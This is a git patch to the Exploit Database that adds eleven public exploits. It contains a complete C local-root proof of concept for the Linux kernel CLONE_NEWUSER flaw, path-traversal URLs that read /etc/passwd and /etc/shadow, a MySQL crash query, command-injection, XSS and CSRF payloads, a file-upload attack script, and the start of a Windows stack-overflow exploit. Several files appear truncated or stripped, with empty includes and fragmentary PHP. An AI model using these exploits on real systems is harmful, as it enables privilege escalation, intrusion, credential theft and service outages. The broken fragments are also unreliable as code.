From 6774c7df3c5822e8162e5f1c2cfe44933a3dc015 Mon Sep 17 00:00:00 2001 From: Offensive Security Date: Sun, 4 Oct 2015 05:02:06 +0000 Subject: [PATCH] DB: 2015-10-04 11 new exploits --- files.csv | 11 ++ platforms/hardware/remote/38389.txt | 17 +++ platforms/linux/dos/38392.txt | 7 ++ platforms/linux/local/38390.c | 178 ++++++++++++++++++++++++++++ platforms/multiple/remote/38387.txt | 11 ++ platforms/php/webapps/38385.txt | 51 ++++++++ platforms/php/webapps/38386.txt | 9 ++ platforms/php/webapps/38391.txt | 7 ++ platforms/php/webapps/38393.html | 9 ++ platforms/windows/local/38382.py | 34 ++++++ platforms/windows/remote/38388.txt | 74 ++++++++++++ platforms/windows/remote/38394.py | 48 ++++++++ 12 files changed, 456 insertions(+) create mode 100755 platforms/hardware/remote/38389.txt create mode 100755 platforms/linux/dos/38392.txt create mode 100755 platforms/linux/local/38390.c create mode 100755 platforms/multiple/remote/38387.txt create mode 100755 platforms/php/webapps/38385.txt create mode 100755 platforms/php/webapps/38386.txt create mode 100755 platforms/php/webapps/38391.txt create mode 100755 platforms/php/webapps/38393.html create mode 100755 platforms/windows/local/38382.py create mode 100755 platforms/windows/remote/38388.txt create mode 100755 platforms/windows/remote/38394.py diff --git a/files.csv b/files.csv index b7dd3bd9c..e28ac6686 100755 --- a/files.csv +++ b/files.csv @@ -34668,5 +34668,16 @@ id,file,description,date,author,platform,type,port 38379,platforms/windows/webapps/38379.txt,"FTGate 2009 Build 6.4.00 - Multiple Vulnerabilities",2015-10-02,hyp3rlinx,windows,webapps,0 38380,platforms/windows/webapps/38380.txt,"FTGate 7 - CSRF Vulnerabilities",2015-10-02,hyp3rlinx,windows,webapps,0 38381,platforms/windows/local/38381.py,"WinRar < 5.30 beta 4 - Settings Import Command Execution",2015-10-02,R-73eN,windows,local,0 +38382,platforms/windows/local/38382.py,"ASX to MP3 Converter 1.82.50 - .asx Stack Overflow",2015-10-02,ex_ptr,windows,local,0 38383,platforms/linux/webapps/38383.py,"ElasticSearch 1.6.0 - Arbitrary File Download",2015-10-02,"Pedro Andujar",linux,webapps,9200 38384,platforms/windows/remote/38384.txt,"Avast Antivirus X.509 Error Rendering Command Execution",2015-10-02,"Google Security Research",windows,remote,0 +38385,platforms/php/webapps/38385.txt,"KindEditor Multiple Remote File Upload Vulnerabilities",2013-03-11,KedAns-Dz,php,webapps,0 +38386,platforms/php/webapps/38386.txt,"PHPBoost Arbitrary File Upload and Information Disclosure Vulnerabilities",2013-03-11,KedAns-Dz,php,webapps,0 +38387,platforms/multiple/remote/38387.txt,"RubyGems fastreader 'entry_controller.rb' Remote Command Execution Vulnerability",2013-03-12,"Larry W. Cashdollar",multiple,remote,0 +38388,platforms/windows/remote/38388.txt,"QlikView '.qvw' File Remote Integer Overflow Vulnerability",2013-03-13,"A. Antukh",windows,remote,0 +38389,platforms/hardware/remote/38389.txt,"Cisco Video Surveillance Operations Manager Multiple Security Vulnerabilities",2013-03-13,b.saleh,hardware,remote,0 +38390,platforms/linux/local/38390.c,"Linux Kernel 3.3.5 'CLONE_NEWUSER|CLONE_FS' Local Privilege Escalation Vulnerability",2013-03-13,"Sebastian Krahmer",linux,local,0 +38391,platforms/php/webapps/38391.txt,"Petite Annonce Cross Site Scripting Vulnerability",2013-03-14,Metropolis,php,webapps,0 +38392,platforms/linux/dos/38392.txt,"MySQL and MariaDB Geometry Query Denial Of Service Vulnerability",2013-03-07,"Alyssa Milburn",linux,dos,0 +38393,platforms/php/webapps/38393.html,"WordPress Occasions Plugin Cross Site Request Forgery Vulnerability",2013-03-19,m3tamantra,php,webapps,0 +38394,platforms/windows/remote/38394.py,"BlazeVideo HDTV Player Standard '.PLF' File Remote Buffer Overflow Vulnerability",2013-03-19,metacom,windows,remote,0 diff --git a/platforms/hardware/remote/38389.txt b/platforms/hardware/remote/38389.txt new file mode 100755 index 000000000..5d37a5540 --- /dev/null +++ b/platforms/hardware/remote/38389.txt @@ -0,0 +1,17 @@ +source: http://www.securityfocus.com/bid/58476/info + +Cisco Video Surveillance Operations Manager is prone to multiple security vulnerabilities, including: + +1. Multiple local file-include vulnerabilities +2. A security-bypass vulnerability +3. Multiple cross-site scripting vulnerabilities + +An attacker may leverage these issues to bypass certain security restrictions to perform unauthorized actions, execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, and open or run arbitrary files in the context of the affected application. + +Cisco Video Surveillance Operations Manager 6.3.2 is vulnerable; other versions may also be affected. + +http://www.example.com/BWT/utils/logs/read_log.jsp?filter=&log=../../../../../../../../../etc/passwd +http://www.example.com/BWT/utils/logs/read_log.jsp?filter=&log=../../../../../../../../../etc/shadow +http://www.example.com/monitor/logselect.php +http://www.example.com/broadware.jsp +http://www.example.com/vsom/index.php/"/title> \ No newline at end of file diff --git a/platforms/linux/dos/38392.txt b/platforms/linux/dos/38392.txt new file mode 100755 index 000000000..5f03f0adc --- /dev/null +++ b/platforms/linux/dos/38392.txt @@ -0,0 +1,7 @@ +source: http://www.securityfocus.com/bid/58511/info + +MySQL and MariaDB are prone to a denial-of-service vulnerability. + +An attacker can exploit this issue to crash the database, denying access to legitimate users. + +"select astext(0x0100000000030000000100000000000010);" \ No newline at end of file diff --git a/platforms/linux/local/38390.c b/platforms/linux/local/38390.c new file mode 100755 index 000000000..0dd96228f --- /dev/null +++ b/platforms/linux/local/38390.c @@ -0,0 +1,178 @@ +source: http://www.securityfocus.com/bid/58478/info + +Linux kernel is prone to a local privilege-escalation vulnerability. + +Local attackers can exploit this issue to gain kernel privileges, which will aid in further attacks. + +/* clown-newuser.c -- CLONE_NEWUSER kernel root PoC + * + * Dedicated to: Locke Locke Locke Locke Locke Locke Locke! + * + * This exploit was made on the 13.3.13. + * + * (C) 2013 Sebastian Krahmer + * + * We are so 90's, but we do 2013 xSports. + * + * Must be compiled static: + * + * stealth@linux-czfh:~> cc -Wall clown-newuser.c -static + * stealth@linux-czfh:~> ./a.out + * [**] clown-newuser -- CLONE_NEWUSER local root (C) 2013 Sebastian +Krahmer + * + * [+] Found myself: '/home/stealth/a.out' + * [*] Parent waiting for boomsh to appear ... + * [*] Setting up chroot ... + * [+] Done. + * [*] Cloning evil child ... + * [+] Done. + * [*] Creating UID mapping ... + * [+] Done. + * [+] Yay! euid=0 uid=1000 + * linux-czfh:/home/stealth # grep bin /etc/shadow + * bin:*:15288:::::: + * linux-czfh:/home/stealth # + * + */ +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + + +int go[2]; +char child_stack[1<<20]; +extern char **environ; + + +void die(const char *msg) +{ + perror(msg); + exit(errno); +} + + +int child(void *arg) +{ + char c; + + close(go[1]); + read(go[0], &c, 1); + + setuid(0); + + /* this will also affect the parent, but the parent + * has the init_user_ns, so it will start suid with real uid 0. + */ + if (chdir("chroot") < 0) + die("[-] chdir"); + if (chroot(".") < 0) + die("[-] chroot"); + + return 0; +} + + + +int setup_chroot(const char *me) +{ + mkdir("chroot", 0755); + mkdir("chroot/lib64", 0755); + mkdir("chroot/bin", 0755); + + if (link(me, "chroot/lib64/ld-linux-x86-64.so.2") < 0) + die("[-] link"); + if (link("/bin/su", "chroot/bin/su") < 0) + die("[-] link"); + return 0; +} + + +int main(int argc, char *argv[]) +{ + char *su[] = {"/bin/su", NULL}; + char *sh[] = {"/bin/bash", NULL}; + char me[256], *mee[] = {me, "1", NULL}; + char uidmap[128], map_file[128]; + pid_t pid; + struct stat st; + int fd; + + + if (geteuid() == 0 && argc == 1) { + /* this will run inside chroot, started as the ld.so +from + * su process + */ + printf("[+] Yay! euid=%d uid=%d\n", geteuid(), +getuid()); + chown("lib64/ld-linux-x86-64.so.2", 0, 0); + chmod("lib64/ld-linux-x86-64.so.2", 04755); + exit(0); + } else if (geteuid() == 0) { + /* this will run outside */ + setuid(0); + execve(*sh, sh, environ); + die("[-] execve"); + } + + printf("[**] clown-newuser -- CLONE_NEWUSER local root (C) 2013 +Sebastian Krahmer\n\n"); + + memset(me, 0, sizeof(me)); + readlink("/proc/self/exe", me, sizeof(me) - 1); + printf("[+] Found myself: '%s'\n", me); + + if (fork() > 0) { + printf("[*] Parent waiting for boomsh to appear ...\n"); + for (;;) { + stat(me, &st); + if (st.st_uid == 0) + break; + usleep(1000); + } + execve(me, mee, environ); + die("[-] execve"); + } + + printf("[*] Setting up chroot ...\n"); + setup_chroot(me); + printf("[+] Done.\n[*] Cloning evil child ...\n"); + + if (pipe(go) < 0) + die("[-] pipe"); + + pid = clone(child, child_stack + sizeof(child_stack), + CLONE_NEWUSER|CLONE_FS|SIGCHLD, NULL); + if (pid == -1) + die("[-] clone"); + + printf("[+] Done.\n[*] Creating UID mapping ...\n"); + + snprintf(map_file, sizeof(map_file), "/proc/%d/uid_map", pid); + if ((fd = open(map_file, O_RDWR)) < 0) + die("[-] open"); + snprintf(uidmap, sizeof(uidmap), "0 %d 1\n", getuid()); + if (write(fd, uidmap, strlen(uidmap)) < 0) + die("[-] write"); + close(fd); + printf("[+] Done.\n"); + + close(go[0]); + write(go[1], "X", 1); + + waitpid(pid, NULL, 0); + execve(*su, su, NULL); + die("[-] execve"); + return -1; +} + + diff --git a/platforms/multiple/remote/38387.txt b/platforms/multiple/remote/38387.txt new file mode 100755 index 000000000..aea9b3fd0 --- /dev/null +++ b/platforms/multiple/remote/38387.txt @@ -0,0 +1,11 @@ +source: http://www.securityfocus.com/bid/58450/info + +fastreader is prone to a remote command-execution vulnerability because the application fails to sufficiently sanitize user-supplied input. + +An attacker may leverage this issue to execute arbitrary commands in the context of the affected application. + +fastreader 1.0.8 is affected; other versions may also be vulnerable. + +The following example URI is available: + +http://www.g;id;.com \ No newline at end of file diff --git a/platforms/php/webapps/38385.txt b/platforms/php/webapps/38385.txt new file mode 100755 index 000000000..7ffd31a9d --- /dev/null +++ b/platforms/php/webapps/38385.txt @@ -0,0 +1,51 @@ +source: http://www.securityfocus.com/bid/58431/info + +KindEditor is prone to multiple remote file-upload vulnerabilities because it fails to sufficiently sanitize user-supplied input. + +Attackers can exploit these issues to upload arbitrary code and run it in the context of the web server process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible. + +KindEditor 4.1.5 is vulnerable; other versions may also be affected. + +"@$uploadfile")); +curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); +$postResult = curl_exec($ch); +curl_close($ch); +print "$postResult"; + +?> + +# KindEditor (ASP,ASP.NET,JSP,PHP) _JSON Uploader : +-------------------------------------------------- + + +Uploader By KedAns-Dz + + +
+ + +
+ + diff --git a/platforms/php/webapps/38386.txt b/platforms/php/webapps/38386.txt new file mode 100755 index 000000000..bb474740c --- /dev/null +++ b/platforms/php/webapps/38386.txt @@ -0,0 +1,9 @@ +source: http://www.securityfocus.com/bid/58432/info + +PHPBoost is prone to an information disclosure vulnerability and an arbitrary file-upload vulnerability because the application fails to adequately sanitize user-supplied input. + +An attacker can exploit these issues to upload arbitrary files in the context of the web server process or gain access to sensitive information that may aid in further attacks. + +PHPBoost 4.0 is vulnerable; other versions may also be affected. + +http://www.example.com/phpboost/user/?url=/../../KedAns \ No newline at end of file diff --git a/platforms/php/webapps/38391.txt b/platforms/php/webapps/38391.txt new file mode 100755 index 000000000..9c06c85d5 --- /dev/null +++ b/platforms/php/webapps/38391.txt @@ -0,0 +1,7 @@ +source: http://www.securityfocus.com/bid/58508/info + +Petite Annonce is prone to a cross-site scripting vulnerability because it fails to sanitize user-supplied input. + +An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. + +http://www.example.com/[path]/annonce/moteur-prix.php?categoriemoteur=1"> \ No newline at end of file diff --git a/platforms/php/webapps/38393.html b/platforms/php/webapps/38393.html new file mode 100755 index 000000000..204175224 --- /dev/null +++ b/platforms/php/webapps/38393.html @@ -0,0 +1,9 @@ +source: http://www.securityfocus.com/bid/58599/info + +The Occasions plugin for WordPress is prone to a cross-site request-forgery vulnerability because the application fails to properly validate HTTP requests. + +Exploiting this issue may allow a remote attacker to perform certain unauthorized actions and gain access to the affected application. Other attacks are also possible. + +Occasions 1.0.4 is vulnerable; other versions may also be affected. + + CSRF Occasions
\ No newline at end of file diff --git a/platforms/windows/local/38382.py b/platforms/windows/local/38382.py new file mode 100755 index 000000000..42b56350a --- /dev/null +++ b/platforms/windows/local/38382.py @@ -0,0 +1,34 @@ +''' +# Exploit Title: ASX to MP3 Converter 1.82.50 Stack Overflow +# Date: 2 Oct 2015 +# Exploit Author: ex_ptr +# Vendor Homepage: http://mini-stream.net +# Software Link: http://www.topvideopro.com/download/ASXtoMP3Converter.exe +http://www.topvideopro.com/mp3wav/asx-mp3.htm +# Version: 1.82.50 +# Tested on: Windows XP SP3 +''' + +import struct +filename = "exploit.asx" + +dummy = "A"*0x104 +EIP = struct.pack('